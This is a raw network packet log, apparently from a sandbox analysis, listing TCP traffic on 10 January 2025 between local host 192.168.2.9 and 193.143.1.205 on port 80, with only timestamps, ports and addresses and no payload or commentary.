Jan 10, 2025 19:05:00.638856888 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638869047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638880968 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638891935 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638891935 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.638921022 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.638958931 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638969898 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638982058 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.638998032 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.639008045 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.639065027 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639075994 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639087915 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639117002 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.639218092 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639230013 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639244080 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639254093 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.639256001 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639267921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.639278889 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.639303923 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641064882 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641076088 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641087055 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641109943 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641120911 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641129971 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641160011 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641284943 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641298056 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641309023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641320944 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641371012 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641525030 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641535997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641547918 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641562939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641571045 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641573906 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641596079 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641661882 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641674042 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641684055 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.641697884 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.641721964 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642102003 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642112970 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642132044 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642144918 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642153978 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642158031 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642187119 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642188072 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642199993 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642222881 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642257929 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642268896 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642296076 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642299891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642311096 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642333031 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642479897 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642492056 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642510891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642518044 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642522097 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642534971 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642540932 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.642548084 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.642570019 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.644875050 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644889116 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644908905 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644922018 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644932985 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644942999 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.644947052 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644961119 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644969940 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.644984961 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.644994974 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.644996881 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645008087 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645020008 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645037889 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645040989 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645072937 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645075083 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645106077 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645117044 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645144939 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645185947 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645198107 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645209074 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645222902 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645262957 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645266056 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645276070 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645291090 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645318031 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645477057 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645488977 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645499945 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645503998 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645513058 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645515919 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645530939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645540953 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645541906 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645549059 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645555019 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645562887 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645576954 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645601988 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645613909 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645625114 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645636082 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645649910 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645672083 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645692110 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645711899 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645725012 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645737886 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645750046 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645759106 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645761967 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645771027 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.645785093 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.645808935 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.676517963 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676534891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676556110 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676569939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676584005 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.676587105 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676620007 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.676875114 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676887035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676911116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.676944017 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676955938 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676969051 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.676985979 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.677001953 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.677032948 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.677046061 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.677057981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.677087069 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.687802076 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687829018 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687840939 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687860966 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687874079 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687901020 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.687930107 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.687937021 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687948942 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.687954903 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.687962055 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688039064 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688050985 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688065052 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688086987 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688101053 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688139915 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688153982 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688167095 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688167095 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.688200951 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688206911 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.688214064 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688231945 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.688266039 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688277960 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688291073 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688298941 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.688327074 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.688349962 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688369036 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.688402891 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725491047 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725519896 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725533009 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725555897 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725569010 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725581884 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725594997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725593090 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725614071 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725626945 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725636005 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725637913 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725651026 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725661993 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725671053 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725688934 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725697994 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.725745916 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725758076 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725769997 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.725788116 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.726031065 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726068020 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.726074934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726087093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726115942 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.726223946 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726234913 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726247072 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726259947 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726265907 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.726270914 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.726300001 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.727837086 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727865934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727878094 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727889061 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.727910995 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.727916956 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727929115 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727946043 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.727957010 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.727991104 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728019953 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728022099 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728301048 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728334904 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728360891 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728374004 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728403091 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728440046 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728452921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728463888 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728471994 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728514910 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728518963 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728889942 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728902102 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728921890 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728926897 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728950977 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.728964090 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.728976011 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729006052 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.729053020 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729074955 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729104042 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.729131937 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729146004 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729178905 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.729226112 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729238033 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729249001 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729260921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729266882 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.729274035 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729293108 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.729337931 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.729371071 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.731750011 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731790066 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731802940 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731823921 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731836081 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731847048 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.731851101 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731864929 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731878042 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.731899023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731905937 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.731926918 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.731969118 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731980085 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.731992006 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732021093 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.732091904 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732104063 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732115030 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732121944 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.732129097 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732146978 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.732196093 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732207060 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732218981 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732224941 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.732234001 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732253075 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.732294083 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732306957 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.732325077 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733268023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733284950 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733299971 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733313084 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733325958 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733330011 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733339071 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733367920 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733414888 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733427048 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733437061 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733448982 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733458996 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733460903 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733479023 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733527899 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733540058 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733551025 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733558893 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.733562946 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.733580112 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.764343023 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.764377117 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.764390945 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.764403105 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.764416933 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.764415979 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.764446974 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.764456987 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.873941898 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.878735065 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.878778934 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.878792048 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.878823042 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.882508039 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887414932 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887439966 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887454033 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887469053 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887489080 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887547016 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887557983 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887569904 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887586117 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887593031 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887624979 CET	49754	80	192.168.2.9	193.143.1.205
Jan 10, 2025 19:05:00.887656927 CET	80	49754	193.143.1.205	192.168.2.9
Jan 10, 2025 19:05:00.887667894 CET	80	49754	193.143.1.205	192.168.2.9
